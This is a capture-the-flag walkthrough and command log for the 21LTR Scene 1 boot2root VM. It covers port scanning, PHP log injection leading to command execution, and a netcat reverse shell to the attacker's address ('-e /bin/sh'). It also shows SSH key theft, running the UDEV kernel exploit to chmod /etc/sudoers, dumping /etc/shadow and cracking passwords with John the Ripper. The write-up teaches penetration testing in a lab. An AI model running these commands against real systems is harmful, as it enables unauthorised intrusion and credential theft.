21LTR - Scene 1

21ltr is another boot2root collection, with its own unique twist. It has various 'issues' with the operating system, which have been purposely put in place to make it vulnerable by design. The end goal is to become the 'super user' of the system (aka 'root'). There is an optional stage afterwards, in which the user can try and find the 'flag', proving (to themselves) that they successfully completed it.

21ltr Logo

Links

Watch video on-line:

Download video: http://download.g0tmi1k.com/videos_archive/21LTR-Scene_1.mp4

Method

  • Scanned the network to locate the target [Net Discover]
  • Port scanned the target to discover services [Unicorn Scan]
  • Banner grabbed the services running on the open port(s) [NMap]
  • Interacted with the web server by testing the default page, then brute forced to discover folders & files in the web root [Firefox & DirB]
  • Cloned the FTP root folder with credentials learned from the web service [ftp]
  • Analysed the 'loot' collected from the FTP service, in which to locate an additional file positioned on the web server [grep & cURL]
  • Impersonated 'Dev Server Backup', and waited for the target to communicate to the attacker using the information collected from the FTP & Web services [Unicorn Scan & IPTables & NetCat]
  • Injected a PHP payload into the backup logs, creating a backdoor into the system [Netcat & WebHandler]
  • Discovered unprotected SSH credentials, which, as it turns out are for a 'privileged' account
  • Used a kernel exploit to modify a restricted file to view what additional functions the wheel group can execute [UDEV]
  • Downloaded the user credentials for the operating system and brute forced the passwords [John The Ripper]
  • Remote logged back into the system via SSH and logged in with valid credentials for the super user
  • Discovered the flag in a different user's home folder, which has been deleted but not yet, removed from the operating system
  • Explored the 'backup service' which was also triggered at the same time as the log port.

Tools

  • 21LTR.com_Scene1_2.120_v1.0.iso (md5: c57d2b39cdf1216300d078eed88f24cb)
  • A virtual machine (Example: VMware Player or Virtual Box)
  • Net Discover - (Can be found in BackTrack 5)
  • Unicorn Scan - (Can be found in BackTrack 5)
  • NMap - (Can be found in BackTrack 5)
  • Firefox - (Can be found in BackTrack 5)
  • DirB - (Can be found in BackTrack 5)
  • FTP - (Can be found in BackTrack 5)
  • cURL - (Can be found in BackTrack 5)
  • Netcat - (Can be found in BackTrack 5)
  • WebHandler - (Can be found in BackTrack 5)
  • UDEV Exploit - (Can be found in BackTrack 5)
  • John The Ripper - (Can be found in BackTrack 5)
  • darkc0de.lst - (Can be found in BackTrack 5)

Walkthrough

The README of this challenge gave the attacker the scope of the attack as well as the network configuration (the target is using a static IP address). By using "Netdiscover", the attacker was able to confirm that the target is located in a different IP range from themselves (192.168.2.x).

After moving to the new IP range, the attacker port scans the selected target, which reveals any services that are running on open ports. By using "UnicornScan", it displays that there are only three open ports; TCP 21 (FTP), TCP 22 (SSH), TCP 80 (HTTP). The attacker checks Unicorn Scan's results by using "Nmap", but only scanning for TCP services. Nmap confirms the same result as before, however, the attacker uses nmap scripting engine to start emulating the services, allowing for the attacker to collect more information on the target. FTP primary function is for transferring files, SSH is used to remotely control the machine and HTTP is used to display web applications. SSH normally requires some form of credentials with which to use the service, whereas FTP can allow for anonymous usage; it is much more common for a web service to allow anyone to interact with it. Using this, the attacker views the default web page on the target's machine, using a graphical web browser, "firefox", to render the page's output.

By looking through the source code which is displayed to them, the attacker notices that hidden away from the displayed view are comments in the code, which appear to be a username and password.

The attacker keeps pursuing the web service, with the aid of "DirB". Once DirB is running, it will try and connect to all the combinations of folders and pages in a wordlist on the target's web service, and display the results. This allows for pages to be exposed that normally wouldn't be, unless the address is known (e.g. there aren't any hyperlinks pointing to the pages). One of the results from the default wordlist matches the username which was discovered in the source code from before. DirB reported when it tried to access the folder and the web server responded with "403", meaning it doesn't have permission to access that folder for a certain reason. The attacker repeats the same request, however, this time uses curl to access the page. The error message doesn't exactly say why they are not allowed to access the page. The attacker knows this could be for multiple reasons, for example; not authenticated, missing an index file and directory listing is disabled, file permissions on the web server etc.

As the attacker has seen multiple occurrences of the word 'logs' (e.g. in the web page's source code, hinting at a username, plus it's the name of the hidden web folder), the attacker tries the credentials for the FTP service. The consequence of using it is that it has logged the attacker into the FTP service, to display a single file, which the attacker downloads. Accessing the file offline, the attacker understands that the file is for 'Intranet Dev Server Backup Log'. The code itself contains PHP tags plus looking at the file extension, the attacker spots that the server could have PHP installed.

As there was only one file inside the ftp folder, a reason why the hidden web folder was returning 403, could be there isn't an 'index' page to display once inside the sub directory. The attacker goes back to the cURL which they made before and amends the filename that was downloaded. This time, the request displays the source code to the page, after it has been processed on the server. This means that:

  • The file requested was valid (so the attacker has discovered a 'hidden' file in the hidden folder)
  • The attacker could have the source code for the file (The files might be different!)
  • If it is the same, then it appears PHP is successfully installed and is able to process code
  • The ftp folder could be inside the web folder

The attacker now looks at the web page, and makes a note of a few things:

  • It's a log page for the backup system (Web page title)
  • It's not reading any values, therefore a different process has to update the log file (FTP offline file)
  • In the error log, the IP address is 'static' (192.168.2.240)
  • When the errors happen in the logs, the time has a pattern (7 requests, all happen at "something-one" minute). Therefore is there a scheduled event?

Using the information above, the attacker changes their IP address to match the one that was displayed on the page as well as continuously port scanning the target. After waiting a while and monitoring the port scan results, the attacker notices that a port opens up after a while (Editor's note: You'll never have to wait more than 10 minute)! The attacker then stops the looped port scanner and starts to continuously trying to connect to the new port, TCP: 10001, for when it is to open again. By using 'Netcat' the attacker is able to create a RAW socket, thus allowing them to interact to any service that is running. Therefore, there will not be a clash/mix in incorrect services as it is unknown.

As the attacker is waiting to see if the port will open up again, they think to themselves 'If there is a service opening up, possibly for backing up, which is waiting for some form of activity, maybe it is creating activity also, by trying to attempt to connect out.' The attacker then starts to log if any TCP or UDP connections are made to them.

After waiting a while, the port opens up again on the target, and there is a new event in the log file, also relating back to the target as the source address. The attacker sets up a listener to monitor the requested port and to capture all the data which will be sent to it. They place this aside for the moment (Editor's note: I'll come back to this at the end of the write up). The attacker goes to the open raw connection to the target and enters '?', which is a common command for help. However, remote service didn't response, but kept the connection open.

The attacker now has a couple of options: try the SSH service, or, go back to either the HTTP or FTP service, to see if they missed anything 'hidden'. As SSH is more secure than FTP and allows the use of 'keys', looking at the complex FTP password the attacker believes that the target would use such authentication, thus has this lower down on the priority. This is also the same reason why they didn't try and brute force the FTP login. This means searching the web service again, trying to find something else hidden, exploiting the services or fuzzing the mysterious port. The attacker didn't notice any other clues/hints left for any 'hidden' gems, and currently there are not any public exploits for the versions of the software which is running on the target. As the unidentified service running didn't display a banner or response to the attacker's request, identifying the protocol in order to fuzz would be time consulting. Plus, having the port open once every ten minutes for a single connection dynamically increases the possible time required for fuzzing. The only bit of information regarding the service the attacker has collected, was the port number, which they could try to lookup what default service(s) uses it, however this a very weak link as port numbers can easily be altered. So without local access to the system or source code, the attacker believed that it would be extremely difficult to locate a vulnerability in this unknown service. This leaves going back to the HTTP service.

The attacker starts repeating the same requests as before, to see if they missed anything. However, upon requesting the backup log page, the attacker notices a "?" at the end of the file, which wasn't there before. As this matches the value that was sent over the open port, the attacker attempts to send some PHP code that allows for requested values to be executed locally as commands on the system. After trying a simple command to identity who the current user is logged in as, the attacker notices that the returned page contains a new value. The attacker now cuts off the top of the log page, and as a result, has a very basic method of executing commands and displaying the result. The attacker then tries to improve the current interaction by gaining a better method to execute commands. The attacker searches for 'netcat' on the target's machines and discovers that it has it installed along with the location of the file. The attacker then locally setup a netcat listener to capture a connection, then causes the remote machine to connect back to the attacker and to execute a bash shell afterwards. The attacker now has a remote access into the target's system and is able to execute commands. However, the shell that they are using to listen with is non-tty, which limits their actions. The attacker can improve this by replacing their local listening netcat with 'webhandler' listening in its place. The attacker demonstrates the improvement of webhandler over netcat by showing webhandler responses, just like terminal and an SSH connection, with the arrows on the keyboard. After reconnecting again, this time with the terminal window re-drawn, the attacker starts to explore the target's file system.

Inside the "/media" folder, the attacker notices that there is a USB stick plugged in (editor's note: this has been emulated by 21ltr) and along with a few PDF files, the attacker spots what possibly could be an SSH private key. The attacker opens up the files, in which appears to be a valid SSH private key along with the username to whom it belongs. The attacker downloads the file locally to their machines and prepares the file so it can be used.

When the attacker interacts with the SSH service, with the SSH key and username gained from the USB stick, they discover they now have access into the system as another user. When checking to confirm which user they are logged in as, the attacker notices that the user account they are using is also a part of the 'wheel' group. The attacker is aware this user group often allows for 'extra' system privileges that 'normal' users are unable to perform. After confirming that this group has a certain amount of 'additional' privileges, the attacker sets out to discover which restricted commands they are able to execute. Instead of trying all the commands and comparing the values, the attacker tries to open the file which is responsible for the privileges of command execution as another user. However, they are displayed with a message, saying they are not allowed to view it. So the attacker has the ability to possibly execute a privilege command, but they are not aware of what the command is.

The attacker checks the kernel version of the operating system as this is a common method of escape privileges. After matching up the version from 'exploit-db' which is a public database of exploits, the attacker tries the UDEV, which affects multiple versions of Linux kernels, that executes a command as the super user, root. The attacker checks the exploit code to make sure it's valid and will compile without editing. Then they see if the target machine has a c compiler, gcc installed locally on it, which it doesn't. This means they will have to compile locally and transfer it to the target (cross compiling). After compiling it locally and checking the status of the output, the attacker checks the source code for instructions to successfully execute the exploit. After transferring the exploit to the target's machine, using secure copy (which has been enabled on the SSH service), the attacker creates the file that will be executed as the super user. The attacker then crafts a payload to change the file permission of the sudoers file, which will allows anyone to read it (as well as write!), which they were trying to access before, but failed. (Editor's note: I could have skipped out the following stage and gone straight to the shadow file - however, I wanted to demonstrate the power of the wheel group, along with its 'flaws').

When the attacker tries to read the same file as before, this time the attacker is allowed, as the UDEV exploit ran (allowing anyone to access that file). The attacker notices that if they are to use "sudo cat", whoever is in the wheel group, is able to access any file which the super user would be able to, without being prompted for a password (which the attacker doesn't know, as they are using the SSH key to gain access)! The attacker now tries to use the information that they just acquired, to read the shadow file, which normally contains the credentials for every user account on the system, which is normally only accessible to the super user. However, upon requesting access to the file, the command fails, due to incorrect permissions of the sudoers file - which is a security protection. The attacker then updates the udev payload, to modify the file permissions back to how they were before the exploit was first executed. This time, when the attacker tries to open the password file, they are presented with the contents of the file. The attacker now breaks out of the SSH connection, and executes the SSH connection once more, however, this time, only to execute a single SSH command and to pipe the output into a file. The attacker uses the same command in which to view the password file, thus they are able to transfer the target's password to their machine.

Now the attacker is able to try and brute force the target's passwords offline by using 'John The Ripper'. After the first basic attempt of trying to crack the password hashes, the attacker discovers the super user's password, "forumula1".

The attacker once again connects back to the target's system by using SSH, and switches users to the super user. When they are prompted for the password, they use the value from John The Ripper, and they are now the super user.

Game Over

The attacker then starts exploring the file system, as they now have complete access in the system. They move to the other user's home folder, and list the contents of every sub folder in it. They spot an 'interesting' file name, 'payroll', in one of the user's account trash bin, where they have deleted it, but haven't yet removed it from the system. This allows the attacker to display the contents of the file.

Game Over...again

The attacker then goes back to the listening netcat, where they were waiting for the 'mysterious port' to open (which they now know is meant for the use of the backup server to echo their response into the log file). Since performing the attack on the target, the connection has closed. The attacker then uses 'file' to check the file header of the output data collected, and discovers that the data recovered was a compressed archive. After extracting the file, there was only a single file, which was also compressed, however, in a different compression format. Once the second archive was extracted, the filename of the archive along with the extracted files, identified that the service which made the connection from the target to the attacker was "PXELINUX", which is used to boot Linux from a network server.

Game Over...again...again

Commands

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
netdiscover
ifconfig eth0
!! 192.168.2.21/24
us -mT -Iv 192.168.2.120:a -r 3000 -R 3 && us -mU -Iv 192.168.2.120:a -r 3000 -R 3
nmap -p 1-65535 -T4 -A -v 192.168.2.120
firefox 192.168.2.120   # Right click -> View source
cd /pentest/web/dirb/
ll
./dirb
!! http://192.168.2.120
curl --silent http://192.168.2.120/logs/
curl --silent http://192.168.2.120 | grep username   # grep username -A1 -B1
cd ~
ftp 192.168.2.120 # logs:zg]E-b0] 8:(58G
ls
pwd
get backup_log.php
#put /etc/passwd /
quit
ls
cat backup_log.php
history | grep curl
curl --silent 192.168.2.120/logs/backup_log.php
!! | grep from   # ip address and "every" 10 mins isn!
fc "!if"   # ifconfig eth0 192.168.2.240/24
!us:p
watch -d -n 1 "us -mT -Iv 192.168.2.120:a -r 3000"   # Port 1001 will/should open up in less than 10 mins
#iptables -A INPUT -p tcp --syn -j LOG --log-prefix "iptables: "
#iptables -A INPUT -p udp -j LOG --log-prefix "iptables: "
#iptables -L
#tail -f /var/log/messages

#nc localhost 1234

#*wait* till iptables trigger & port scan shows new port (10 mins)
#nc -lvp 10000 > output
#file output
#tar xvf output
#file media/backup/pxelinux.cfg.tar.gz
#tar xvf media/backup/pxelinux.cfg.tar.gz
#cd pxelinux.cfg/
#ll
#file *
#cat default
#cat start
#cd web/
#ll
#file *
#cat start
#cd conf/
#ll
#file *
#cat monkey.conf
#cat monkey.deny
#cat monkey.mime
#cd ~

while true; do nc -v 192.168.2.120 10001 && break; sleep 1; clear; done
#at now   1 minutes
#nc -v 192.168.2.120 10001
# Break (Ctrl + D)
#atq   #at -l

?

curl --silent 192.168.2.120/logs/backup_log.php



!!
!!?cmd=id #curl --silent 192.168.2.120/logs/backup_log.php?cmd=id
curl --silent 192.168.2.120/logs/backup_log.php?cmd=id | grep ? -A999
curl --silent 192.168.2.120/logs/backup_log.php?cmd=whereis nc | grep ? -A999

nc -lvvp 443

curl --silent 192.168.2.120/logs/backup_log.php?cmd=/usr/bin/nc 192.168.2.240 443 -e /bin/sh

#sh -i
id
#pwd
#alias ll="ls -lah"
#ll
exit
cd /pentest/backdoors/web/webhandler/
./webhandler.py
./webhandler.py --listen 443

curl --silent 192.168.2.120/logs/backup_log.php?cmd=/usr/bin/nc 192.168.2.240 443 -e /bin/sh

id
pwd
ll
uname -a
cat /etc/passwd
ll /
cd /media
ll -R
cd USB_1/Stuff/Keys
cat authorized_keys
cat id_rsa
#echo '' > sshkey
@download /media/USB_1/Stuff/Keys/id_rsa /root/sshkey
exit
cd ~
file sshkey
chmod 600 sshkey
ssh hbeale@192.168.2.120 -i sshkey
cat /etc/passwd
cat /etc/group
id
cat /etc/sudoers
uname -a

cd /pentest/exploits/exploitdb
grep -i "kernel 2.6" files.csv
head platforms/linux/local/8572.c

whereis gcc

gcc platforms/linux/local/8572.c -o /tmp/evil
vi platforms/linux/local/8572.c
scp -C /tmp/out hbeale@192.168.2.120 -i /root/sshkey

cd /tmp
vi run   # echo -e "#!/bin/bash
chmod 777 /etc/sudoers" (start doing shadow)
cat /proc/net/netlink
ls -l /etc/sudoers
./evil
!ls
cat /etc/sudoers
sudo su
su -
sudo cat /etc/shadow
ls -l /etc/sudoers
!vi #update to shadow
!./
exit
exit
!ssh cat /etc/shadow > 21ltr
#cd ~
#echo '' > 21ltr
cd /pentest/passwords/john
./john ~/21ltr --wordlist=/pentest/passwords/wordlists/darkc0de.lst #--rules
./john ~/21ltr --show
fc "!ssh"   # add '/root' & #
su - # formula1
#whoami
id; uname -a; cat /etc/shadow; ls -lah /root   # ls -lahR /root; ifconfig -a;
ls -lAhR /home
cat /home/jgreen/.local/share/Trash/files/Payroll


vi run

chmod
ls
./run
cat
ls -lh
./evil id
!ls
cat shudders
id
cat /shadow
sudo !!

Notes

  • Instead of doing "cat /etc/passwd" when using WebHandler, "@enum users" could of been used.
  • Camtasia Studio has rendered a couple of highlighted boxes unevenly. Nothing I can do about this.

Songs: Afterthought (Original Mix) - Parker & Hanson & RU116 (Original Mix) - Cramp

Video length: 14:45

Capture length: 76:15

Blog Post: https://blog.g0tmi1k.com/2012/09/21ltr-scene-1/